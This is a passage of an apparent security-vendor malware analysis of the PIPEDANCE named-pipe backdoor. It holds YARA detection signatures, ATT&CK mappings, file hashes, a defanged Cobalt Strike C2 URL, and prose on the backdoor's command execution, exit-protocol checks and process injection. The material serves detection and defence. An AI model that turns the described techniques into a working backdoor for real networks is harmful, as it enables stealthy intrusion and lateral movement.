84 ?? ?? ?? ?? 83 E8 01 }\n $seq_icmp = { 59 6A 61 5E 89 45 ?? 8B D0 89 5D ?? 2B F0 8D 04 16 8D 4B ?? 88 0A 83 F8 77 7E ?? 80 E9 17 88 0A 43 42 83 FB 20 }\n condition:\n 4 of ($str*) or 2 of ($seq*)\n}\n```\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Reconnaissance](https://attack.mitre.org/tactics/TA0043/)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Defense evasion](https://attack.mitre.org/tactics/TA0005)\n- [Discovery](https://attack.mitre.org/tactics/TA0007)\n- [Lateral movement](https://attack.mitre.org/tactics/TA0008/)\n- [Collection](https://attack.mitre.org/tactics/TA0009)\n- [Command and control](https://attack.mitre.org/tactics/TA0011/)\n- [Exfiltration](https://attack.mitre.org/tactics/TA0010/)\n\n### Techniques / Sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Gather victim network information](https://attack.mitre.org/techniques/T1590/)\n- [File and directory discovery](https://attack.mitre.org/techniques/T1083/)\n- [Process discovery](https://attack.mitre.org/techniques/T1057/)\n- [Process injection: thread execution hijacking](https://attack.mitre.org/techniques/T1055/003/)\n- [Token impersonation/theft](https://attack.mitre.org/techniques/T1134/001/)\n- [Lateral tool transfer](https://attack.mitre.org/techniques/T1570/)\n- [Internal proxy](https://attack.mitre.org/techniques/T1090/001/)\n- [Inter-Process communication](https://attack.mitre.org/techniques/T1559/)\n- [Application layer protocol](https://attack.mitre.org/techniques/T1071/)\n- [Obfuscated files or information](https://attack.mitre.org/techniques/T1027)\n- [Create or modify system process: Windows service](https://attack.mitre.org/techniques/T1543/003/)\n\n## Observables\n\nAll observables are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltf10ee41eec4f6caf/63fcd87852820c02597c04f3/1326-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Indicator | Type | Reference |\n| ---------------------------------------------------------------- | ------- | ------------------------------- |\n| 9d3f739e35182992f1e3ade48b8999fb3a5049f48c14db20e38ee63eddc5a1e7 | SHA-256 | PIPEDANCE server-side component |\n| 805a4250ec1f6b99f1d5955283c05cd491e1aa378444a782f7bd7aaf6e1e6ce7 | SHA-256 | Cobalt Strike beacon |\n| exl.officeappsreviews[.]com/lanche-334e58sfj4eeu7h4dd3sss32d | URL | Cobalt Strike C2 server |\n","code":"var Component=(()=\u003e{var l=Object.create;var a=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of m(e))!g.call(t,r)\u0026\u0026r!==n\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(o=p(e,r))||o.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?l(u(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003es(a({},\"__esModule\",{value:!0}),t);var h=f((k,c)=\u003e{c.exports=_jsx_runtime});var D={};w(D,{default:()=\u003eE,frontmatter:()=\u003ey});var i=b(h()),y={title:\"Twice around the dance floor - Elastic discovers the PIPEDANCE backdoor\",slug:\"twice-around-the-dance-floor-with-pipedance\",date:\"2023-02-27\",subtitle:\"Elastic Security Labs describes the PIPEDANCE backdoor\",description:\"Elastic Security Labs is tracking an active intrusion into a Vietnamese organization using a recently discovered triggerable, multi-hop backdoor we are calling PIPEDANCE. This full-featured malware enables stealthy operations through the use of named\",author:[{slug:\"daniel-stepanic\"}],image:\"photo-edited-12@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"ref1326\",\"pipedance\"]};function d(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",a:\"a\",blockquote:\"blockquote\",strong:\"strong\",img:\"img\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h4:\"h4\",h5:\"h5\",pre:\"pre\",code:\"code\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Elastic Security Labs has identified PIPEDANCE, a previously unknown Windows backdoor used to enable post-compromise and lateral movement activities\"}),`\n`,(0,i.jsx)(e.li,{children:\"Built for stealthy operations through named pipes, PIPEDANCE employs capabilities for interactive terminals, discovery/file enumeration, process injection, and data exfiltration checks\"}),`\n`,(0,i.jsx)(e.li,{children:\"PIPEDANCE was observed deploying Cobalt Strike\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:\"In late December 2022, Elastic Security Labs observed new activity in a previously monitored environment targeting a Vietnamese organization. This new activity included the execution of a named pipe malware used to facilitate post-compromise activity. We are naming this malware family PIPEDANCE. By leveraging PIPEDANCE, the adversary is able to:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Disguise activity through a custom function that randomly injects into a hard-coded list of Windows programs\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform discovery by enumerating files and processes\"}),`\n`,(0,i.jsx)(e.li,{children:\"Leverage standard backdoor capabilities such as running commands, writing files\"}),`\n`,(0,i.jsx)(e.li,{children:\"Check different network protocols for exfiltration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Launch additional payloads through process injection techniques\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"In this post, we walk through the initial execution then detail the capabilities we have discovered from reviewing the malware.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Note: Check out our follow-on publication on creating your own client to interact with a PIPEDANCE infected endpoint \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dancing-the-night-away-with-named-pipes\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"overview\",children:\"Overview\"}),`\n`,(0,i.jsx)(e.p,{children:\"Unlike malware that might communicate with conventional network or application protocols, we identified a binary designed explicitly for lateral movement and post-compromise enablement within a contested environment: executing additional implants, running commands, performing file discovery, enumerating running processes, and checking outbound access; all through the use of Windows named pipes. This kind of functionality is comparable to Cobalt Strike or Metasploit\\u2019s SMB modules.\"}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes\",rel:\"nofollow\",children:\"Named pipes\"}),\" within Windows allow for inter-process communication on a single computer or between processes on separate machines within the same network. Named pipes can be set up for one-way or two-way communication between a pipe client and a pipe server. The data used within named pipes are all stored in memory where it is written and retrieved using standard Windows APIs ( \",(0,i.jsx)(e.strong,{children:\"CreateFile\"}),\" / \",(0,i.jsx)(e.strong,{children:\"WriteFile\"}),\" / \",(0,i.jsx)(e.strong,{children:\"ReadFile\"}),\" ) in the same way as reading/writing files.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/endpoint\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" was installed after an unknown initial compromise. The \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_suspicious_windows_service_execution.toml\",rel:\"nofollow\",children:\"Suspicious Windows Service Execution\"}),\" behavioral rule generated the first observed events. While unconfirmed, \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/\",rel:\"nofollow\",children:\"published research\"}),\" describes similar techniques by an adversary leveraging execution through a locally-mounted Administrator share and using \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/sysinternals/downloads/debugview\",rel:\"nofollow\",children:\"Microsoft\\u2019s SysInternals DebugView\"}),\" ( \",(0,i.jsx)(e.strong,{children:\"DbgView.exe\"}),\" ) utility to load PIPEDANCE.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"DbgView.exe\"}),\" was observed loading PIPEDANCE into \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/makecab\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"makecab.exe\"})}),\", the Windows utility used to package Cabinet files \",(0,i.jsx)(e.strong,{children:\".\"}),\" The Windows performance data utility, \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"typeperf.exe\"})}),\", was then injected into and spawned \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/openfiles\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"openfiles.exe\"})}),\" where Cobalt Strike was loaded into this process.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"While \",(0,i.jsx)(e.strong,{children:\"openfiles.exe\"}),\" binary is a legitimate Microsoft application, Elastic Defend generated a Cobalt Strike memory signature. After extracting the memory regions from the alert in Kibana, we identified the Cobalt Strike module \",(0,i.jsx)(e.a,{href:\"https://twitter.com/_RastaMouse/status/1104282852869525506?s=20\u0026t=0_v846VUU-A0lE2gxgN_bg\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"invokeassembly.x64.dll\"})}),\", validating that Cobalt Strike was injected into the legitimate \",(0,i.jsx)(e.strong,{children:\"openfiles.exe\"}),\" binary.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image19.png\",alt:\"Execution flow of DgbView.exe loading makecab.exe and then openfiles.exe (Cobalt Strike)\",width:\"1440\",height:\"288\"})}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE leverages named pipes as a communication mechanism between different infected endpoints within a compromised network. The adversary uses this capability as a bidirectional layer of command and control through which they can dispatch commands and pass data between named pipes.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"initial-set-up--communication-flow\",children:\"Initial set-up / Communication flow\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"At the beginning of the main function, there is a hardcoded string used as the pipe name. This string is also used in later stages as an RC4 key to encrypt/decrypt data between pipes. In the image below, we can see the hardcoded pipe name ( \",(0,i.jsx)(e.strong,{children:\"u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe\"}),\" ) being set as a global variable.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image27.jpg\",alt:\"The hardcoded u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe string used as the pipe name\",width:\"840\",height:\"215\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"During initial execution, the malware will use the \",(0,i.jsx)(e.strong,{children:\"CreateNamedPipeA\"}),\" and \",(0,i.jsx)(e.strong,{children:\"ConnectNamedPipe\"}),\" methods to create the named pipe ( \",(0,i.jsx)(e.strong,{children:\"\\u201C\\\\.\\\\pipe\\\\u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe\"}),'\") and wait for an incoming client process to connect to the pipe. The figure below represents this activity showing the pipe name being formatted with hardcoded string and initializing the pipe.']}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image17.jpg\",alt:\"Initial Pipe Creation and Setup\",width:\"541\",height:\"77\"})}),`\n`,(0,i.jsx)(e.p,{children:\"During the first client connection, PIPEDANCE retrieves the following values from the local system and places them into a buffer:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Process ID of the PIPEDANCE process\"}),`\n`,(0,i.jsx)(e.li,{children:\"Current working directory of the PIPEDANCE process.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Domain \u0026 Username of the PIPEDANCE process\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"PIPEDANCE passes this buffer and an 8-byte structure containing the result flag from a \",(0,i.jsx)(e.strong,{children:\"IsWow64Process\"}),\" evaluation and the buffer size for the subsequent \",(0,i.jsx)(e.strong,{children:\"WriteFile\"}),\" operation to the pipe. PIPEDANCE then encrypts the buffer containing the previous process details with RC4 and then writes the encrypted data back to the client pipe.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image18.jpg\",alt:\"PIPEDANCE Write File Operation\",width:\"947\",height:\"411\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is a high-level graphic that illustrates the purpose-built lateral movement functionality. With PIPEDANCE infections, the named pipe server process is run on a new victim machine, while the client instructions come from the operator from a previously compromised machine in the same network.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image19_2_V2.jpg\",alt:\"PIPEDANCE communication flow\",width:\"1440\",height:\"810\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"command-dispatching\",children:\"Command dispatching\"}),`\n`,(0,i.jsx)(e.p,{children:\"After an initial handshake, PIPEDANCE\\u2019s primary functionality consists of a while loop with a command dispatching function. This dispatching function will retrieve the provided command ID of its respective function along with any arguments and their size from the operator.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image23.jpg\",alt:\"PIPEDANCE dispatching function\",width:\"584\",height:\"69\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The parsing function passes an 8-byte structure consisting of the command instruction and the buffer size for the command argument. The command argument is decrypted using the previous RC4 key, then written back to the pipe.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image20.jpg\",alt:\"PIPEDANCE parsing function\",width:\"924\",height:\"539\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Once the command ID has been received, PIPEDANCE performs several conditional checks using if/else and switch statements.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image24.jpg\",alt:\"PIPEDANCE conditional checks\",width:\"347\",height:\"204\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The majority of the command functions return a result flag or error code to the operator. For some functions that may return large amounts of data, such as a list of running processes, the malware generates a new named pipe using the hardcoded string described earlier. Then it concatenates the PID of the PIPEDANCE process which sends and receives the data over this pipe.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image9.jpg\",alt:\"PIPEDANCE sending large datasets over a new named pipe\",width:\"572\",height:\"42\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"command-functionality\",children:\"Command functionality\"}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE supports more than 20 different functions, each accessed using their command ID via if/then and switch/case logic. Below is an example of the first 4 functions.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image26.jpg\",alt:\"Sample of PIPEDANCE functions\",width:\"723\",height:\"244\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"command-handling-table\",children:\"Command handling table\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Command ID\"}),(0,i.jsx)(e.th,{children:\"Description\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x1\"}),(0,i.jsx)(e.td,{children:\"Terminates process based on provided PID\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x2\"}),(0,i.jsx)(e.td,{children:\"Run a single command through cmd.exe, returns output\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x3\"}),(0,i.jsx)(e.td,{children:\"Terminal shell using stdin/stdout redirection through named pipes\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x4\"}),(0,i.jsx)(e.td,{children:\"File enumeration on current working directory\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x6\"}),(0,i.jsx)(e.td,{children:\"Create a new file with content from pipe\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x7\"}),(0,i.jsx)(e.td,{children:\"Retrieve current working directory\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x8\"}),(0,i.jsx)(e.td,{children:\"Set current working directory\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x9\"}),(0,i.jsx)(e.td,{children:\"Get running processes\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x16\"}),(0,i.jsx)(e.td,{children:\"Perform injection (thread hijacking or Heaven\\u2019s Gate) with stdin/stdout option for the child process\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x18\"}),(0,i.jsx)(e.td,{children:\"Perform injection from hardcoded list (thread hijacking or Heaven\\u2019s Gate)\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x1A\"}),(0,i.jsx)(e.td,{children:\"Perform injection on provided PID (thread hijacking or Heaven\\u2019s Gate)\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x3E\"}),(0,i.jsx)(e.td,{children:\"Clear out global variable/pipe data\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x47\"}),(0,i.jsx)(e.td,{children:\"Connectivity check via HTTP Get Request\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x48\"}),(0,i.jsx)(e.td,{children:\"Connectivity check via DNS with providing DNS Server IP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x49\"}),(0,i.jsx)(e.td,{children:\"Connectivity check via ICMP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x4A\"}),(0,i.jsx)(e.td,{children:\"Connectivity check via TCP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x4B\"}),(0,i.jsx)(e.td,{children:\"Connectivity check via DNS without providing DNS Server IP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x63\"}),(0,i.jsx)(e.td,{children:\"Disconnect pipe, close handle, exit thread\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0x64\"}),(0,i.jsx)(e.td,{children:\"Disconnect pipe, close handle, exit process, exit thread\"})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"In order to detail the significant capabilities of PIPEDANCE, we\\u2019ve split our analysis into three sections:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Standard backdoor functionality\"}),`\n`,(0,i.jsx)(e.li,{children:\"Network connectivity checks\"}),`\n`,(0,i.jsx)(e.li,{children:\"Process Injection techniques\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"backdoor-functionality\",children:\"Backdoor functionality\"}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE offers various interactive backdoor capabilities needed by an operator in order to perform reconnaissance, and pivot through different systems.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-execution\",children:\"Command execution\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"There are two functions related to command execution, \",(0,i.jsx)(e.strong,{children:\"Function 0x2\"}),\" and \",(0,i.jsx)(e.strong,{children:\"0x3\"}),\". The first method ( \",(0,i.jsx)(e.strong,{children:\"Function 0x2\"}),\" ) accepts a command argument from the terminal, such as \",(0,i.jsx)(e.strong,{children:\"ipconfig\"}),\". This function starts by creating an anonymous named pipe with read and write handles. Before creating the process, PIPEDANCE will configure the \",(0,i.jsx)(e.strong,{children:\"STARTUPINFO\"}),\" structure using \",(0,i.jsx)(e.strong,{children:\"STARTF_USESTDHANDLES\"}),\" to pipe the command output ( \",(0,i.jsx)(e.strong,{children:\"hStdOutput\"}),\" ) for the new process.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image22.jpg\",alt:\"Configuring the STARTUPINFO structure\",width:\"851\",height:\"336\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"A thread is then created passing the previous read pipe handle as an argument. Memory is allocated for the command output and read from this read pipe handle. The data is then looped over and encrypted in a similar manner as before and sent back through a new named pipe. In our example, this is the data from the \",(0,i.jsx)(e.strong,{children:\"ipconfig\"}),\" command.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image12.jpg\",alt:\"PIPEDANCE reading in the command output\",width:\"611\",height:\"367\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The second execution command ( \",(0,i.jsx)(e.strong,{children:\"Function 0x3\"}),\" ) creates a new \",(0,i.jsx)(e.strong,{children:\"cmd.exe\"}),\" process in a suspended state and also leverages \",(0,i.jsx)(e.strong,{children:\"STARTF_USESTDHANDLES\"}),\" as before.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image25.jpg\",alt:\"PIPEDANCE sets up cmd.exe execution through STDIN/STDOUT\",width:\"792\",height:\"435\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After the process is created, a new thread is created passing the \",(0,i.jsx)(e.strong,{children:\"STARTUPINFO\"}),\" where two named pipe server processes are created for input and output and the thread is resumed.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image15.jpg\",alt:\"PIPEDANCE processing STDIN/STDOUT for command execution\",width:\"624\",height:\"289\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This functionality operates similarly to a reverse shell, where the attacker has the ability to directly interact and pass data back and forth.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"discovery-and-enumeration\",children:\"Discovery and enumeration\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"PIPEDANCE has built-in functionality related to discovery and enumeration. For process enumeration ( \",(0,i.jsx)(e.strong,{children:\"Function 0x9\"}),\" ), it leverages the \",(0,i.jsx)(e.strong,{children:\"CreateToolhelp32Snapshot\"}),\" function to retrieve the process details. The function returns the process ID, the name of the process, the architecture of the process, whether a process is tied to a system (Session represented as a \",(0,i.jsx)(e.strong,{children:\"0\"}),\" ) or user session (Session represented as a \",(0,i.jsx)(e.strong,{children:\"1\"}),\" ), and the username associated with the process.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image3.jpg\",alt:\"PIPEDANCE performing process enumeration\",width:\"1211\",height:\"303\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Interestingly, in our observations with a few different modules, the results are mangled by the developer due to formatting the data with the C runtime library function \",(0,i.jsx)(e.strong,{children:\"vsprintf_s\"}),\" when working with Unicode data. This can be observed below in the process discovery module where the process name output gets mangled whereas PIPEDANCE only returns the first character of the process, architecture, and usernames. Below is the output table returned to the operator. In this example, PID \",(0,i.jsx)(e.strong,{children:\"564\"}),\" with a (mangled) \\u201CName\\u201D of \",(0,i.jsx)(e.strong,{children:\"w\"}),\" is actually PID \",(0,i.jsx)(e.strong,{children:\"564\"}),\" with a full process name of \",(0,i.jsx)(e.strong,{children:\"winlogon.exe\"}),\" , a full architecture name of \",(0,i.jsx)(e.strong,{children:\"x86\"}),\" , a session ID of \",(0,i.jsx)(e.strong,{children:\"1\"}),\" , and a full user name of \",(0,i.jsx)(e.strong,{children:\"NT AUTHORITY\\\\SYSTEM\"}),\" , etc.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/pipedance-table.jpg\",alt:\"Table of PIPEDANCE's enumeration output\",width:\"1268\",height:\"770\"})}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE implements a terminal-like concept where it has a current or working directory for its process. This enables the adversary to use functions directly tied to the working directory, such as the file enumeration modules.\"}),`\n`,(0,i.jsx)(e.p,{children:\"For file enumeration, PIPEDANCE will use a wildcard to pull back a file listing from the current working directory.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image14.jpg\",alt:\"PIPEDANCE performs file and directory enumeration\",width:\"736\",height:\"85\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"PIPEDANCE also offers functionality for creating files and writing content to files on the victim machine ( \",(0,i.jsx)(e.strong,{children:\"Function 0x6\"}),\" ). It does this by first creating and naming a file on the victim machine, then it creates a new thread with a new instance of a named pipe that will then wait for and read incoming data over the pipe. This data is XOR\\u2019d with the previous RC4 key and then written to the file.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image6.jpg\",alt:\"PIPEDANCE creates and writes a file on the victim machine\",width:\"793\",height:\"138\"})}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE also has various administrator or maintenance commands used to terminate processes, terminate threads, disconnect pipes, clear global variables from memory, etc.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"network-connectivity-checks\",children:\"Network connectivity checks\"}),`\n`,(0,i.jsx)(e.p,{children:\"As adversaries pivot and move through a network, one of their objectives is understanding where the endpoint sits inside the network and determining what protocols are available for shipping data laterally or externally. PIPEDANCE is specifically built to identify exit points on an endpoint by checking DNS, ICMP, TCP, and HTTP protocols.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image5.jpg\",alt:\"PIPEDANCE performing protocol connectivity checks\",width:\"975\",height:\"352\"})}),`\n`,(0,i.jsx)(e.p,{children:\"As an example, PIPEDANCE will make a DNS request to bing[.]com when providing a DNS server as an argument, the result of the query will be returned back to the operator indicating success or not. For ICMP, PIPEDANCE will generate fake data for the ICMP request by looping over the alphabet and sending it to a provided IP address.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image10.jpg\",alt:\"PIPEDANCE performing ICMP checks\",width:\"1063\",height:\"302\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image7.jpg\",alt:\"PIPEDANCE generating ICMP data from the US alphabet\",width:\"576\",height:\"310\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Similarly for HTTP, the operator can provide a domain where PIPEDANCE will perform a vanilla HTTP GET request over port 80 and then return a boolean value for success or not.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image4.jpg\",alt:\"PIPEDANCE performing an HTTP check\",width:\"822\",height:\"401\"})}),`\n`,(0,i.jsx)(e.p,{children:\"These are straightforward functions, but they provide great insight into the developer\\u2019s mindset and the type of objectives they are trying to achieve. These checks are likely used in a multi-stage process where these protocols are verified first in a lightweight method then additional shellcode/payloads are launched afterward.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"process-injection-techniques\",children:\"Process injection techniques\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In a similar fashion to many post-exploitation frameworks, PIPEDANCE leverages different forms of process injection to execute shellcode and launch additional implants. Depending on the process architecture, the malware will perform injection using a standard thread execution hijacking technique or the \",(0,i.jsx)(e.a,{href:\"https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/\",rel:\"nofollow\",children:\"Heaven\\u2019s Gate technique\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image16.jpg\",alt:\"PIPEDANCE performing process injection\",width:\"948\",height:\"185\"})}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE utilizes defense evasions to obscure their activity by randomly picking a Windows program from a hardcoded list to use as an injection target.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"This method generates a seed value based on the current time and passes it to a pseudorandom number generator that returns a value between 0 and 5. This value determines which of 6 hard-coded binaries ( \",(0,i.jsx)(e.strong,{children:\"makecab.exe\"}),\" , 